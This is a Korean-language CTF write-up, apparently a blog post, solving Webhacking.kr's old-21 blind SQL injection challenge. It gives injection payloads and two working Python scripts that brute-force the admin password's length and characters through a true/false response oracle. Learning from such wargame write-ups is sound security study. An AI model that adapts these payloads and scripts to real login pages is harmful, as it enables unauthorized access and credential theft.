본문 바로가기

Webhacking.kr

old-21

문제에 진입하면 BLIND SQL INJECTION 이라는 문구와 함께 로그인 창이 뜬다.

  • guest를 입력했더니 로그인 “success”가 출력된다.
  • 올바르지 않은 비밀번호를 입력하면 login fail이 출력된다.

혹시 내가 알아야 되는 것이 admin일까 싶어서 admin, admin을 넣어 봤더니 login fail이 나온다.

일단 URL을 보자.

<https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=admin>

id와 pw값을 전달하는 데 GET방식을 이용함을 알 수 있다. 또한 url을 통해 컬럼 값을 유추할 수 있다.

그렇다면 파라미터를 통해 SQL Injection을 시도해본다.

guest' or id='admin' and pw='' or 1=1#

 

지금까지 볼 수 없었던 “wrong password”문구를 볼 수 있다.

쿼리를 약간 변형해보자.

guest or id='admin' and pw='' or 1=1#

맨 앞에 guest에서 ‘하나를 뺐더니 login fail이 나온다. SQL 문법 상 옳지 않은 쿼리문을 넣으면 login fail이 뜨는 모양이다.

그렇다면 웹 소스 코드도 유추해 볼 수 있겠다.

$result=mysqli_query($db,"select uid, upw from users where uid=($id) and upw=($pw)")

또한 GET 방식으로 id, pw를 보내서 맞는 쿼리가 나오면 wrong password가 나오는 모양이다.

결과를 보고 추론을 해보자면, sql 문의 결과로 부터 DB에서 id,pw를 불러오고 php에서 한번더 검증을 하는 과정이 있는 것 같으로 보인다.

 

DB에서 아무것도 반환되지 않으면 -> login fail

DB에서 반환이 되었지만 php 코드에서 한번더 검증할때 값이 틀리면 -> wrong password 로 출력이 되는 것 같다.

 

중요한건 1=1 부분과 1=2 부분에서 참 거짓을 판단할 수 있는 지점을 찾았기 때문에 저곳을 이용해서 Blind sql injection을 수행한다.

그렇다면 이 Result 값을 이용해서 Blind SQL Injection을 해보면 되겠다.

쿼리는 다음을 이용한다.

guest' and pw='' or id='admin' and length(pw)={?}#와 guest' and pw='' or id='admin' and ascii(substr(pw,{i+1},1)) = {character}#

익스플로잇 코드

import requests
URL = '<https://webhacking.kr/challenge/bonus-1/index.php?id=guest&>'
cookie = {'PHPSESSID':'8et7ndlj0ncjnnm4gr3ijr65ro'}
true_String='wrong password'

# Get_Password_length 
PW_len = 1
while True:   
    param = f"pw=%27%20or%20id=%27admin%27%20and%20length(pw)={PW_len}%20%23"
    r = requests.get(URL + param, cookies=cookie)
    if r.text.count(true_String) != 0:
        break
    else:
        PW_len += 1

print("PW_len: "  + str(PW_len))

# Find_String
pw = ''
for i in range(PW_len):
    character = 127     #ASCII 문자 범위의 최댓값부터 시작해서(127)
										    #해당 위치의 문자를 역방향으로 하나씩 확인.
    while character>0:  #ASCII 코드값이 1 이상일 동안 반복.
        param = f"pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))%20=%20{character}%20%23"
        r = requests.get(URL + param, cookies=cookie)
        if r.text.count(true_String) != 0:   #응답에 "wrong password" 문자열이 들어 있다면
                                            #이 ASCII 값이 맞는 값이라는 뜻이므로 반복 종료.
            break
        else:
            character -= 1
    
    print(chr(character))
    pw += chr(character)

print("PW: " + pw)

참고 : 비밀번호에 등장하는 문자는 제한적

비밀번호에 흔히 사용되는 ASCII 코드 범위는 다음과 같음:

문자 종류 ASCII 범위

숫자 48–57
대문자 65–90
소문자 97–122
특수문자 33–47, 58–64 등

전체 목적

substr(pw, i, 1)로 비밀번호에서 i번째 문자를 하나씩 추출해서, 그 문자의 ASCII 값을 추측해 맞춰가는 방식

id에 guest를 입력했다고 생각하고 이후에 코드에서 활용된 공격코드를 URL 인코딩 해보면 pw='' or id='admin' and length(pw)# 부분은

pw=%27%20or%20id=%27admin%27%20and%20length(pw)={PW_len}%20%23

그리고 pw='' or id='admin' and ascii(substr(pw,{?},1)) = {?}# 부분은

pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))%20=%20{character}%20%23

이렇게 코딩해서 공격해보았다.

 

비밀번호 길이 : 36

 

비밀번호 추출

다른 방법도 있다!

import requests

url='<https://webhacking.kr/challenge/bonus-1/index.php>'

params={'pw': 'admin'}

# To find length of password

pw_len=1

while True:
	params['id']="admin' and length(pw)={} #".format(pw_len)
	response=requests.get(url, params=params)
	if "wrong password" in response.text:
		break
	pw_len+=1
    
print("pw_length: "+str(pw_len))

# To find password

pw=""

for a in range(1, pw_len+1):
	for b in range(1, 128):
		params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
		response=requests.get(url, params=params)
		if "wrong password" in response.text:
			# print(chr(b))
			pw+=chr(b)
			break
            
print("pw: "+pw)

다만 이 코드는 시간이 위에 코드보다 훨씬 더 오래걸린다.

'Webhacking.kr' 카테고리의 다른 글

old-52  (0) 2026.05.14
old-27  (0) 2026.05.14
old-32  (0) 2026.05.13
old-25  (0) 2026.05.13
old-50  (0) 2026.05.13